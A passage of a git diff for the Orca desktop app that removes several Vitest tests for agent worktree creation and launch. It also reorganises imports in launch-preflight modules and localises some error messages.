-  )
-  expect(mocks.createWorktree.mock.calls[0].at(-1)).toEqual({ executionHostId: 'runtime:env-b' })
-  expect(mocks.createWorktree).toHaveBeenCalledOnce()
-  expect(mocks.createWorktree.mock.calls[0][3]).toBe('run')
-  expect(mocks.activateAndRevealWorktree).toHaveBeenCalledWith(
-    'repo-1::/repo/worktree',
-    expect.objectContaining({
-      startup: expect.objectContaining({
-        launchAgent: 'claude',
-        freshAgentLaunch: expect.objectContaining({
-          agentArgs: '--model opus',
-          sessionOptions: { model: 'claude-opus-5-5[1m]' },
-          prompt: 'My edited prompt',
-          promptDelivery: 'submit-after-ready'
-        })
-      })
-    })
-  )
-  expect(mocks.pasteDraftWhenAgentReady).not.toHaveBeenCalled()
-})
-
-it.each(['Start work', 'Use item'])(
-  'keeps the project %s action in Orca when setup asks',
-  async (entry) => {
-    render(<ProjectViewWrapper selectedRepoIds={new Set(['repo-1'])} sourceHostId="local" />)
-    if (entry === 'Use item') {
-      fireEvent.click(screen.getByRole('button', { name: 'Open item' }))
-    }
-    fireEvent.click(screen.getByRole('button', { name: entry }))
-    const request = await pending()
-    await act(async () => request.cancel())
-    expect(mocks.createWorktree).not.toHaveBeenCalled()
-    expect(mocks.pasteDraftWhenAgentReady).not.toHaveBeenCalled()
-    expect(links.open).not.toHaveBeenCalled()
-    expect(mocks.toastError).not.toHaveBeenCalled()
-  }
-)
-
-it.each(['Start work', 'Use item'])(
-  'preserves project %s context through Ask creation and dispatch',
-  async (entry) => {
-    render(<ProjectViewWrapper selectedRepoIds={new Set(['repo-1'])} sourceHostId="local" />)
-    if (entry === 'Use item') {
-      fireEvent.click(screen.getByRole('button', { name: 'Open item' }))
-    }
-    fireEvent.click(screen.getByRole('button', { name: entry }))
-    const request = await pending()
-    await act(async () => request.choose('skip'))
-    await vi.waitFor(() => expect(mocks.activateAndRevealWorktree).toHaveBeenCalledOnce())
-    expect(mocks.resolvePrBase).toHaveBeenCalledWith(
-      expect.objectContaining({ prNumber: 42, repoId: 'repo-1' })
-    )
-    const create = mocks.createWorktree.mock.calls[0]
-    expect(create[2]).toBe('abc123')
-    expect(create[3]).toBe('skip')
-    expect(create[8]).toBe(42)
-    expect(create[9]).toEqual({ remoteName: 'origin', branchName: 'feature/fix' })
-    expect(create[12]).toBe('feature/fix')
-    expect(create.at(-1)).toEqual({ executionHostId: 'local' })
-    expect(buildAgentDraftLaunchPlan).toHaveBeenCalledWith(
-      expect.objectContaining({ draft: expect.stringContaining(item.url), agent: 'codex' })
-    )
-    expect(links.open).not.toHaveBeenCalled()
-    expect(mocks.toastError).not.toHaveBeenCalled()
-  }
-)
-
-it.each(['Start work', 'Use item'])(
-  'retains project %s URL fallback for a non-Ask unresolved PR head',
-  async (entry) => {
-    hostMocks.checkRuntimeHooks.mockResolvedValue({ hasHooks: false, hooks: null })
-    mocks.resolvePrBase.mockRejectedValueOnce(new Error('head unavailable'))
-    render(<ProjectViewWrapper selectedRepoIds={new Set(['repo-1'])} sourceHostId="local" />)
-    if (entry === 'Use item') {
-      fireEvent.click(screen.getByRole('button', { name: 'Open item' }))
-    }
-    fireEvent.click(screen.getByRole('button', { name: entry }))
-    await vi.waitFor(() => expect(links.open).toHaveBeenCalledWith(item.url))
-    expect(mocks.createWorktree).not.toHaveBeenCalled()
-    expect(useAppStore.getState().activeModal).not.toBe('new-workspace-composer')
-  }
-)
diff --git a/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-accepted.test.tsx b/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-accepted.test.tsx
index c2e02e7cb92..5d21cdc0977 100644
--- a/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-accepted.test.tsx
+++ b/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-accepted.test.tsx
@@ -14,7 +14,7 @@ const { useSourceControlAgentActionStart } =
   await import('@/components/right-sidebar/source-control/ai/useSourceControlAgentActionStart')
 const { startFixChecksFromDialog } =
   await import('@/components/pull-request-page/checks/fix-launch')
-const { launchWorkItemDirect } = await import('./launch-work-item-direct')
+await import('./launch-work-item-direct')
 
 const { __resetTrustPromptChainForTests } =
   await import('../../../../runtime/repo-hooks/ensure-hooks-confirmed')
@@ -134,27 +134,3 @@ it('does not release or close a successor when cancelled pre-create work later s
   expect(view.onClose).toHaveBeenCalledOnce()
   expect(view.result.current.isStarting).toBe(false)
 })
-
-it('keeps a functional navigation fallback after reporting a PR lookup failure', async () => {
-  mocks.resolvePrBase.mockResolvedValueOnce({
-    error: 'PR #42 not found.',
-    errorCode: 'github.prNotFound',
-    errorParams: { number: 42 }
-  })
-  const fallback = vi.fn()
-  const notified = vi.fn()
-  expect(
-    await launchWorkItemDirect({
-      item,
-      repoId: 'repo-1',
-      agentOverride: 'codex',
-      launchSource: 'task_page',
-      openModalFallback: fallback,
-      onFailureNotified: notified
-    })
-  ).toBe(false)
-  expect(fallback).toHaveBeenCalledOnce()
-  expect(notified).toHaveBeenCalledOnce()
-  expect(mocks.toastError).toHaveBeenCalledOnce()
-  expect(mocks.createWorktree).not.toHaveBeenCalled()
-})
diff --git a/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-preflight.ts b/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-preflight.ts
index f28b5b52b58..9c47f41f1ec 100644
--- a/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-preflight.ts
+++ b/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-preflight.ts
@@ -1,18 +1,14 @@
 import { invalidTerminalArgsMessage } from './launch-work-item-direct-messages'
-import {
-  planAgentCliArgsSuffix,
-  type AgentStartupShell
-} from '../../../../../../shared/agent-launch/startup/tui-agent-startup-shell'
-
+import { planAgentCliArgsSuffix } from '../../../../../../shared/agent-launch/startup/tui-agent-startup-shell'
+import type { AgentStartupShell } from '../../../../../../shared/agent-launch/startup/tui-agent-startup-shell'
 import { readAgentLaunchPreferencesForWorkspace } from '@/runtime/agent-launch-settings/use-host-agent-launch-preferences'
 import { useAppStore } from '@/store/index'
-import type { AppState } from '@/store/types'
 import {
   ensureDetectedAgentsForRepo,
   loadProjectLaunchContext
 } from '../../../agent-session/launch/inventory/agent-detection-target-inventory'
 import { CLIENT_PLATFORM } from '../new-workspace'
-import { getLocalRepoProjectExecutionRuntimeContext } from '../../../local-preflight-context'
+import { getLocalRepoProjectExecutionRuntimeContext } from '../../../../runtime/hosts/preflight/local-preflight-context'
 import {
   refineLocalLaunchPlatform,
   resolveRepoExecutionHostPlatform
@@ -20,21 +16,21 @@ import {
 import { isTuiAgentEnabled } from '../../../../../../shared/agent-launch/catalog/tui-agent-selection'
 import { resolveDefaultAgentForWorkspace } from '../../../agent-session/launch/shortcuts/agent-tab-shortcuts'
 import { isTuiAgent } from '../../../../../../shared/agent-launch/catalog/tui-agent-config'
+import {
+  awaitStructuredRouteHostAnswer,
+  planAgentSessionLaunch
+} from '../../../agent-session/launch/routing/agent-session-launch-plan'
+import type { AgentSessionLaunchRequest } from '../../../agent-session/launch/routing/agent-session-launch-plan'
+import { resolveGitHubPrStartPointForRepo } from '@/lib/source-control/review/github-pr-start-point'
+import { getRepoExecutionHostId } from '../../../../../../shared/execution-host'
+import type { ExecutionHostId } from '../../../../../../shared/execution-host'
+import { ipcOrRuntimeTargetForHostId } from '@/runtime/rpc/targets/runtime-client-target'
+import '../setup/workspace-setup-preparation'
+import type { AppState } from '@/store/types'
 import type { TuiAgent } from '../../../../../../shared/agent-launch/catalog/tui-agent'
 import type { ProjectLaunchContext } from '../../../../../../shared/rpc-contract/preflight-params'
 import type { AgentLaunchRequestId } from '../../../agent-session/launch/routing/agent-launch-request-id'
-import {
-  awaitStructuredRouteHostAnswer,
-  planAgentSessionLaunch,
-  type AgentSessionLaunchRequest
-} from '../../../agent-session/launch/routing/agent-session-launch-plan'
-import { resolveGitHubPrStartPointForRepo } from '@/lib/source-control/review/github-pr-start-point'
 import type { RuntimeClientTarget } from '../../../../../../shared/runtime-client-target'
-import {
-  getRepoExecutionHostId,
-  type ExecutionHostId
-} from '../../../../../../shared/execution-host'
-import { ipcOrRuntimeTargetForHostId } from '@/runtime/rpc/targets/runtime-client-target'
 import type { Repo } from '../../../../../../shared/repo-types'
 import type { GitHubPrStartPoint } from '../../../../../../shared/worktree/types'
 import type {
@@ -63,8 +59,6 @@ export async function resolveDirectPrStartPoint(
   })
 }
 
-import '../setup/workspace-setup-preparation'
-
 export type DirectLaunchOwnerRow = {
   repo: Repo
   executionHostId: ExecutionHostId
diff --git a/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-route-preparation.ts b/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-route-preparation.ts
index 4960b1df65c..6999850654e 100644
--- a/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-route-preparation.ts
+++ b/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-route-preparation.ts
@@ -1,33 +1,33 @@
 import { ensureAgentLaunchPreferences } from '@/runtime/agent-launch-settings/use-host-agent-launch-preferences'
-import type { TuiAgent } from '../../../../../../shared/agent-launch/catalog/tui-agent'
-import type { AppState } from '@/store/types'
 import { getConnectionIdFromState } from '@/lib/workspace/ownership/connection-owner-resolution'
-import type { RepoHostFields } from '@/lib/agent-session/launch/inventory/agent-detection-target-inventory'
-import type { ProjectExecutionRuntimeResolution } from '../../../../../../shared/execution-host/project-execution-runtime'
 import {
   refineLocalLaunchPlatform,
-  resolveRepoExecutionHostPlatform,
-  type KnownExecutionHostPlatform
+  resolveRepoExecutionHostPlatform
 } from '@/runtime/hosts/platform/execution-host-facts'
+import type { KnownExecutionHostPlatform } from '@/runtime/hosts/platform/execution-host-facts'
 import { CLIENT_PLATFORM } from '@/lib/workspace/creation/new-workspace'
-import { getLocalProjectExecutionRuntimeContext } from '@/lib/local-preflight-context'
+import { getLocalProjectExecutionRuntimeContext } from '@/runtime/hosts/preflight/local-preflight-context'
 import { resolveLocalWindowsTerminalShellOverrideForTab } from '../../../../../../shared/local-windows-terminal-runtime'
 import { isWslUncPath } from '../../../../../../shared/wsl-paths'
+import { adoptAgentSessionLaunchVerdict } from '@/lib/agent-session/launch/routing/agent-session-launch-plan'
 import type {
   AgentSessionLaunchPlan,
   planAgentSessionLaunch
 } from '@/lib/agent-session/launch/routing/agent-session-launch-plan'
-import { adoptAgentSessionLaunchVerdict } from '../../../agent-session/launch/routing/agent-session-launch-plan'
 import { directLaunchSurfaceRequest } from './launch-work-item-direct-preflight'
+import {
+  buildDirectWorkItemStartup,
+  resolveDirectWorkItemAgent
+} from '@/lib/workspace/creation/work-item/launch-work-item-direct-agent-routing'
+import type { TuiAgent } from '../../../../../../shared/agent-launch/catalog/tui-agent'
+import type { AppState } from '@/store/types'
+import type { RepoHostFields } from '@/lib/agent-session/launch/inventory/agent-detection-target-inventory'
+import type { ProjectExecutionRuntimeResolution } from '../../../../../../shared/execution-host/project-execution-runtime'
 import type {
   DirectWorkItemLaunchInputs,
   LaunchWorkItemDirectArgs
 } from './launch-work-item-direct-types'
 import type { AgentLaunchRequestId } from '@/lib/agent-session/launch/routing/agent-launch-request-id'
-import {
-  buildDirectWorkItemStartup,
-  resolveDirectWorkItemAgent
-} from '@/lib/workspace/creation/work-item/launch-work-item-direct-agent-routing'
 
 export type DirectWorkItemAgentLaunchPreparation = {
   launchConnectionId: string | null
diff --git a/src/renderer/src/lib/workspace/creation/workspace-create-error-format.ts b/src/renderer/src/lib/workspace/creation/workspace-create-error-format.ts
index d33f0d066fe..53fc1a6cf28 100644
--- a/src/renderer/src/lib/workspace/creation/workspace-create-error-format.ts
+++ b/src/renderer/src/lib/workspace/creation/workspace-create-error-format.ts
@@ -8,7 +8,10 @@ export type WorkspaceCreateErrorDisplay = {
 const MISSING_BASE_REF_ANCHOR = 'could not resolve a default base ref'
 
 export function formatWorkspaceCreateError(error: unknown): WorkspaceCreateErrorDisplay {
-  const message = error instanceof Error ? error.message : 'Failed to create worktree.'
+  const message =
+    error instanceof Error
+      ? error.message
+      : translate('components.toastFallbacks.worktreeCreateFailed', 'Failed to create worktree.')
 
   if (message.toLowerCase().includes(MISSING_BASE_REF_ANCHOR)) {
     return {
@@ -17,7 +20,10 @@ export function formatWorkspaceCreateError(error: unknown): WorkspaceCreateError
         'auto.lib.workspace.create.error.format.37cf0bc991',
         'Orca could not resolve a usable base ref for this workspace.'
       ),
-      help: 'Create an initial commit (for example on main), or select an existing branch in Create From, then try again.'
+      help: translate(
+        'components.toastFallbacks.missingBaseBranchHelp',
+        'Create an initial commit (for example on main), or select an existing branch in Create From, then try again.'
+      )
     }
   }
 
diff --git a/src/renderer/src/lib/workspace/creation/worktree-creation-backend-startup-focus.test.ts b/src/renderer/src/lib/workspace/creation/worktree-creation-backend-startup-focus.test.ts
deleted file mode 100644
index 195a8b157ef..00000000000
--- a/src/renderer/src/lib/workspace/creation/worktree-creation-backend-startup-focus.test.ts
+++ /dev/null
@@ -1,189 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type * as MountedTerminalTabRegistryModule from '@/runtime/hosted-terminals/mounted-surfaces/mounted-terminal-tab-registry'
-import type { PreloadApi } from '../../../../../preload/api-types'
-
-type CreateTerminalPayload = Parameters<Parameters<PreloadApi['ui']['onCreateTerminal']>[0]>[0]
-
-const { focusRuntimeTerminalSurface } = vi.hoisted(() => ({
-  focusRuntimeTerminalSurface: vi.fn(() => true)
-}))
-
-vi.mock(
-  '@/runtime/hosted-terminals/mounted-surfaces/mounted-terminal-tab-registry',
-  async (importOriginal) => ({
-    ...(await importOriginal<typeof MountedTerminalTabRegistryModule>()),
-    focusRuntimeTerminalSurface
-  })
-)
-
-import { useAppStore } from '@/store/index'
-import { registerTerminalPresentationIpcBridge } from '@/hooks/ipc-events/terminal-presentation-ipc-bridge'
-import { activateAndRevealWorktree } from '../activation/worktree-activation'
-import { queueWorkspaceActivationTerminalFocus } from '../activation/workspace-activation-terminal-focus'
-import {
-  makeCreatedAgentWorktree,
-  seedEmptyActivatableWorktree
-} from '../activation/worktree-activation-created-agent.test-fixture'
-
-const initialAppStoreState = useAppStore.getState()
-const AGENT_TAB_ID = 'b1a1c0de-0000-4000-8000-000000000001'
-const AGENT_LEAF_ID = 'b1a1c0de-0000-4000-8000-000000000002'
-const SETUP_TAB_ID = 'b1a1c0de-0000-4000-8000-000000000003'
-const SETUP_LEAF_ID = 'b1a1c0de-0000-4000-8000-000000000004'
-
-let revealTerminal: (payload: CreateTerminalPayload) => void
-let frames: FrameRequestCallback[]
-
-beforeEach(() => {
-  frames = []
-  vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) => {
-    frames.push(callback)
-    return frames.length
-  })
-  vi.stubGlobal('cancelAnimationFrame', () => {})
-  vi.stubGlobal(
-    'MutationObserver',
-    class {
-      observe(): void {}
-      disconnect(): void {}
-    }
-  )
-  vi.stubGlobal('document', {
-    activeElement: null,
-    body: {},
-    querySelector: () => null,
-    addEventListener: () => {},
-    removeEventListener: () => {}
-  })
-  vi.stubGlobal('window', {
-    api: {
-      ui: {
-        onCreateTerminal: (listener: typeof revealTerminal) => {
-          revealTerminal = listener
-          return () => {}
-        },
-        onLaunchRecipe: () => () => {},
-        onRequestTerminalTabMount: () => () => {},
-        replyTerminalCreate: vi.fn()
-      }
-    }
-  })
-  registerTerminalPresentationIpcBridge([])
-})
-
-afterEach(() => {
-  vi.unstubAllGlobals()
-  useAppStore.setState(initialAppStoreState, true)
-})
-
-describe('a local agent create watched to completion', () => {
-  it('opens on and focuses the agent tab the host adopted without activating', () => {
-    const worktree = makeCreatedAgentWorktree()
-    seedEmptyActivatableWorktree(worktree)
-    useAppStore.setState({ activeWorktreeId: null, activeTabId: null })
-
-    // The host reveals its startup and setup terminals as main sends them for a local create.
-    revealTerminal({
-      requestId: 'reveal-agent',
-      worktreeId: worktree.id,
-      ptyId: 'pty-agent',
-      launchAgent: 'codex',
-      activate: false,
-      surfaceOwner: false,
-      tabId: AGENT_TAB_ID,
-      leafId: AGENT_LEAF_ID
-    })
-    revealTerminal({
-      requestId: 'reveal-setup',
-      worktreeId: worktree.id,
-      ptyId: 'pty-setup',
-      title: 'Setup',
-      activate: false,
-      surfaceOwner: false,
-      tabId: SETUP_TAB_ID,
-      leafId: SETUP_LEAF_ID
-    })
-    expect(useAppStore.getState().activeWorktreeId).toBeNull()
-
-    // The completion rule's activation for a user still on the creation panel.
-    const activation = activateAndRevealWorktree(worktree.id, {
-      sidebarRevealBehavior: 'auto',
-      agent: 'codex',
-      backendStartupTerminalSpawned: true
-    })
-    expect(activation).toEqual({ primaryTabId: null })
-    expect(useAppStore.getState().tabsByWorktree[worktree.id]?.map((tab) => tab.id)).toEqual([
-      AGENT_TAB_ID,
-      SETUP_TAB_ID
-    ])
-
-    expect(queueWorkspaceActivationTerminalFocus(worktree.id, activation)).toBe(true)
-    frames.shift()?.(0)
-    expect(focusRuntimeTerminalSurface).toHaveBeenCalledWith(AGENT_TAB_ID, null, worktree.id)
-  })
-})
-
-describe('host reveal after early launch publication fails', () => {
-  it.each([
-    { viewer: 'focus-in-workspace', moved: true, follows: false },
-    { viewer: 'focus-in-workspace', moved: false, follows: true },
-    { viewer: 'focus-window', moved: true, follows: true },
-    { viewer: 'none', moved: true, follows: false }
-  ] as const)(
-    'honors $viewer after navigation=$moved for new and existing panes',
-    ({ viewer, moved, follows }) => {
-      const worktree = makeCreatedAgentWorktree()
-      const other = { ...worktree, id: `${worktree.id}-other` }
-      const { revealWorktreeInSidebar } = seedEmptyActivatableWorktree(worktree, {
-        extraWorktrees: [other]
-      })
-      const activeWorkspace = moved ? other.id : worktree.id
-      useAppStore.setState({ activeWorktreeId: activeWorkspace, activeTabId: null })
-      focusRuntimeTerminalSurface.mockClear()
-      const payload: CreateTerminalPayload = {
-        requestId: 'reveal-agent',
-        worktreeId: worktree.id,
-        ptyId: 'pty-agent',
-        launchAgent: 'codex',
-        activate: false,
-        surfaceOwner: false,
-        agentLaunchViewer: viewer,
-        tabId: AGENT_TAB_ID,
-        leafId: AGENT_LEAF_ID
-      }
-      revealTerminal(payload)
-      expect(useAppStore.getState().activeWorktreeId).toBe(follows ? worktree.id : activeWorkspace)
-      expect(useAppStore.getState().tabsByWorktree[worktree.id]?.map((tab) => tab.id)).toEqual([
-        AGENT_TAB_ID
-      ])
-      expect(useAppStore.getState().terminalLayoutsByTabId[AGENT_TAB_ID]?.ptyIdsByLeafId).toEqual({
-        [AGENT_LEAF_ID]: 'pty-agent'
-      })
-      if (follows) {
-        expect(useAppStore.getState().activeTabId).toBe(AGENT_TAB_ID)
-        expect(focusRuntimeTerminalSurface).toHaveBeenCalledWith(
-          AGENT_TAB_ID,
-          AGENT_LEAF_ID,
-          worktree.id
-        )
-      } else {
-        expect(focusRuntimeTerminalSurface).not.toHaveBeenCalled()
-        expect(useAppStore.getState().activeTabId).toBeNull()
-      }
-      if (viewer === 'focus-in-workspace') {
-        expect(revealWorktreeInSidebar).not.toHaveBeenCalled()
-      }
-      // A reveal can find a tab restored while its earlier publication reply was lost.
-      useAppStore.setState({ activeWorktreeId: activeWorkspace, activeTabId: null })
-      focusRuntimeTerminalSurface.mockClear()
-      revealTerminal(payload)
-      expect(useAppStore.getState().activeWorktreeId).toBe(follows ? worktree.id : activeWorkspace)
-      expect(useAppStore.getState().tabsByWorktree[worktree.id]).toHaveLength(1)
-      if (follows) {
-        expect(focusRuntimeTerminalSurface).toHaveBeenCalledOnce()
-      } else {
-        expect(focusRuntimeTerminalSurface).not.toHaveBeenCalled()
-      }
-    }
-  )
-})
diff --git a/src/renderer/src/lib/workspace/creation/worktree-creation-flow.ts b/src/renderer/src/lib/workspace/creation/worktree-creation-flow.ts
index 1df1bd2e86f..8e9dd5353db 100644
--- a/src/renderer/src/lib/workspace/creation/worktree-creation-flow.ts
+++ b/src/renderer/src/lib/workspace/creation/worktree-creation-flow.ts
@@ -174,7 +174,8 @@ export function retryBackgroundWorktreeCreation(creationId: string): void {
     provisioningLog: undefined,
     environmentCheck: undefined,
     checkoutProgress: undefined,
-    worktreeId: undefined
+    worktreeId: undefined,
+    chatHandedOffAt: undefined
   })
   store.setActivePendingWorktreeCreation(creationId)
   store.setActiveView('terminal')
diff --git a/src/renderer/src/lib/workspace/creation/worktree-creation-ready-toast.tsx b/src/renderer/src/lib/workspace/creation/worktree-creation-ready-toast.tsx
index 49f3ad94a86..558d51251eb 100644
--- a/src/renderer/src/lib/workspace/creation/worktree-creation-ready-toast.tsx
+++ b/src/renderer/src/lib/workspace/creation/worktree-creation-ready-toast.tsx
@@ -3,8 +3,8 @@ import { translate } from '@/i18n/i18n'
 import { useAppStore } from '@/store/index'
 import { getIndexedRepoMap } from '@/store/repos/repository-catalog-index'
 import { workspaceNavigationToastAction } from '@/lib/workspace/activation/workspace-navigation-toast-action'
-import { resolveWorktreeDisplayName } from '@/lib/worktree-default-display-name'
-import { getResolvedExecutionHostIdForWorktree } from '@/lib/resolved-worktree-execution-host'
+import { resolveWorktreeDisplayName } from '@/lib/workspace/display/worktree-default-display-name'
+import { getResolvedExecutionHostIdForWorktree } from '@/lib/workspace/ownership/resolved-worktree-execution-host'
 import { resolveIndexedWorktreeOwner } from '@/lib/workspace/ownership/worktree-runtime-owner-index'
 import { withRepoHostOwnership } from '@/store/slices/worktrees/listing/worktree-host-ownership'
 import { isFolderRepo } from '../../../../../shared/repo-kind'
diff --git a/src/renderer/src/lib/workspace/creation/worktree-creation-structured-session-host-decline.test.ts b/src/renderer/src/lib/workspace/creation/worktree-creation-structured-session-host-decline.test.ts
index fd4864186ce..5eacc018e76 100644
--- a/src/renderer/src/lib/workspace/creation/worktree-creation-structured-session-host-decline.test.ts
+++ b/src/renderer/src/lib/workspace/creation/worktree-creation-structured-session-host-decline.test.ts
@@ -108,37 +108,6 @@ function worktree(name: string, host: 'paired' | 'local' = 'paired'): Worktree {
   }
 }
 
-const OTHER = worktree('other')
-const CREATED = worktree('created')
-
-function seedPairedServer(): ReturnType<typeof vi.fn> {
-  const call = vi.fn(() => new Promise(() => undefined))
-  vi.stubGlobal('window', { ...window, api: { runtimeEnvironments: { call, subscribe: vi.fn() } } })
-  useAppStore.setState({
-    repos: [
-      {
-        id: 'repo-1',
-        path: path.join('workspace', 'repo'),
-        displayName: 'repo',
-        badgeColor: '#000',
-        addedAt: 0,
-        executionHostId: 'runtime:server-1'
-      }
-    ],
-    worktreesByRepo: { 'repo-1': [OTHER, CREATED] },
-    tabsByWorktree: {},
-    ptyIdsByTabId: {},
-    pendingWorktreeCreations: { 'creation-1': pendingCreation() },
-    settings: {
-      ...getDefaultSettings(path.join('workspace', '.orca')),
-      activeRuntimeEnvironmentId: 'server-1'
-    }
-  })
-  // The user moved to another workspace while the create ran.
-  useAppStore.getState().setActiveWorktree(OTHER.id, 'runtime:server-1')
-  return call
-}
-
 // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the launch reads only these request fields.
 const REQUEST = {
   agent: 'claude',
@@ -171,41 +140,6 @@ afterEach(() => {
   useAppStore.setState(initial, true)
 })
 
-describe('a background worktree create whose paired server declines the chat', () => {
-  it("opens the request's agent terminal without pulling the user onto the new workspace", async () => {
-    mocks.createSupport.mockResolvedValue({ supported: false, reason: 'wsl' })
-    seedPairedServer()
-    mocks.webLaunch.mockResolvedValue({
-      outcome: { status: 'created' },
-      delivered: true,
-      failureNotified: false
-    })
-
-    await launchStructuredWorktreeSession({
-      creationId: 'creation-1',
-      request: REQUEST,
-      agentLaunchRoute: 'structured-native-chat',
-      worktreeId: CREATED.id,
-      shouldActivateOnCompletion: false,
-      activation: false,
-      primaryTabId: null
-    })
-
-    expect(mocks.webLaunch).toHaveBeenCalledExactlyOnceWith(
-      expect.objectContaining({
-        agent: 'claude',
-        worktreeId: CREATED.id,
-        environmentId: 'server-1',
-        prompt: 'fix the flaky test',
-        promptDelivery: 'auto-submit',
-        activate: false,
-        selectWorktree: false
-      })
-    )
-    expect(useAppStore.getState().activeWorktreeId).toBe(OTHER.id)
-  })
-})
-
 const LOCAL_OTHER = worktree('local-other', 'local')
 const LOCAL_CREATED = worktree('local-created', 'local')
 
@@ -230,38 +164,6 @@ function seedThisMachine(): void {
   })
 }
 
-describe('a background worktree create whose own machine declines the chat', () => {
-  it("opens the request's agent terminal in place, with no chat, leaving the user where they are", async () => {
-    mocks.createSupport.mockResolvedValue({ supported: false, reason: 'wsl' })
-    seedThisMachine()
-
-    await launchStructuredWorktreeSession({
-      creationId: 'creation-1',
-      request: REQUEST,
-      agentLaunchRoute: 'structured-native-chat',
-      worktreeId: LOCAL_CREATED.id,
-      shouldActivateOnCompletion: false,
-      activation: false,
-      primaryTabId: null
-    })
-
-    await vi.waitFor(() =>
-      expect(useAppStore.getState().tabsByWorktree[LOCAL_CREATED.id]).toHaveLength(1)
-    )
-    const state = useAppStore.getState()
-    const tab = state.tabsByWorktree[LOCAL_CREATED.id]![0]!
-    expect(startupOf(tab.id)).toMatchObject({
-      command: "claude --model opus 'fix the flaky test'"
-    })
-    expect(
-      (state.unifiedTabsByWorktree[LOCAL_CREATED.id] ?? []).filter(
-        (candidate) => candidate.contentType === 'agent-session'
-      )
-    ).toEqual([])
-    expect(state.activeWorktreeId).toBe(LOCAL_OTHER.id)
-  })
-})
-
 describe.each(['git', 'folder'] as const)('foreground %s implicit Chat decline', (kind) => {
   it.each([`-c 'model="true"'`, '--add-dir docs', undefined, ''])(
     'delivers captured Args %s through actual fallback startup/config',
diff --git a/src/renderer/src/lib/workspace/creation/worktree-creation-structured-session-lifecycle.test.ts b/src/renderer/src/lib/workspace/creation/worktree-creation-structured-session-lifecycle.test.ts
deleted file mode 100644
index 000caa17d6b..00000000000
--- a/src/renderer/src/lib/workspace/creation/worktree-creation-structured-session-lifecycle.test.ts
+++ /dev/null
@@ -1,360 +0,0 @@
-// @vitest-environment happy-dom
-
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { useAppStore } from '@/store/index'
-import 'sonner'
-import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../shared/layout-owner-switch'
-import { executeWorktreeCreation } from './worktree-creation-flow-execute'
-import './worktree-creation-flow'
-import {
-  makeCreatedAgentWorktree,
-  seedEmptyActivatableWorktree
-} from '../activation/worktree-activation-created-agent.test-fixture'
-
-import type { StructuredLaunchAdmission } from '../../agent-session/launch/structured-agent-session-host-admission'
-import type * as admissionModule from '../../agent-session/launch/structured-agent-session-host-admission'
-import type * as launchModule from '../../agent-session/launch/structured-agent-session-launch-create-call'
-import {
-  getStructuredLaunchStateBySessionId,
-  resetStructuredAgentLaunchRegistryForTests
-} from '../../agent-session/launch/structured-agent-session-launch-registry'
-import { StructuredAgentSessionCreateRefusalError } from '../../agent-session/launch/structured-agent-session-launch-errors'
-import {
-  drawTabsFromMain,
-  type TabsDrawnFromMain
-} from '@/store/slices/tabs/tabs-drawn-from-main.test-fixture'
-import { layoutApplyTestTransport } from '@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture'
-import { clearNativeChatComposerDraftsForTests } from '@/components/native-chat/drafts/native-chat-draft-reset'
-import {
-  readNativeChatComposerDraft,
-  updateNativeChatComposerDraft
-} from '@/components/native-chat/drafts/native-chat-composer-draft-store'
-import { structuredAgentSessionDraftScopeKey } from '@/components/native-chat/drafts/native-chat-draft-scope'
-import '@/components/native-chat/drafts/native-chat-composer-draft-load'
-import '@/components/native-chat/drafts/native-chat-composer-draft-persistence'
-import '@/components/native-chat/drafts/native-chat-composer-draft-storage'
-import {
-  type WorktreeCreationRequest,
-  pendingCreationChatDraftScopeKey
-} from './pending-worktree-creation'
-import '../../agent-session/launch/structured-agent-session-launch-prompt'
-import { hasStagedStructuredLaunchPrompt } from '../../agent-session/launch/structured-agent-session-staged-prompt'
-import '@/components/native-chat/session/structured/delivery/structured-agent-session-pending-sends'
-import { resetStructuredAgentSessionSendsForTests } from '@/components/native-chat/session/structured/delivery/structured-agent-session-message-sender'
-import {
-  addNativeChatPendingAttachment,
-  clearNativeChatPendingAttachmentsForTests,
-  nativeChatPendingAttachmentSnapshot,
-  settleNativeChatPendingAttachment
-} from '@/components/native-chat/attachments/chips/native-chat-pending-attachment-cache'
-import {
-  holdBrowserAttachmentFiles,
-  readBrowserAttachmentFile
-} from '../../files/drop/browser-attachment-files'
-import {
-  holdNativeChatStagedInput,
-  releaseNativeChatStagedFiles,
-  stageNativeChatDraftFile
-} from '@/components/native-chat/drafts/native-chat-draft-attachment-staging'
-
-const mocks = vi.hoisted(() => ({
-  admission: vi.fn<typeof admissionModule.admitStructuredLaunchOnHost>(),
-  createSession: vi.fn<typeof launchModule.launchStructuredAgentSession>()
-}))
-vi.mock('../../agent-session/launch/structured-agent-session-host-admission', async (original) => ({
-  ...(await original<typeof admissionModule>()),
-  admitStructuredLaunchOnHost: mocks.admission
-}))
-vi.mock(
-  '../../agent-session/launch/structured-agent-session-launch-create-call',
-  async (original) => ({
-    ...(await original<typeof launchModule>()),
-    launchStructuredAgentSession: mocks.createSession
-  })
-)
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (original) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeRpcClientWithLayoutApply(await original())
-)
-vi.mock('@/runtime/workspace-layout/frames/runtime-layout-client', async (original) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeLayoutClientWithTestFrames(await original())
-)
-vi.mock('@/components/native-chat/composer/focus/native-chat-composer-mount', () => ({
-  nativeChatComposerSelection: () => undefined,
-  waitForNativeChatComposerHandoff: async () => {}
-}))
-
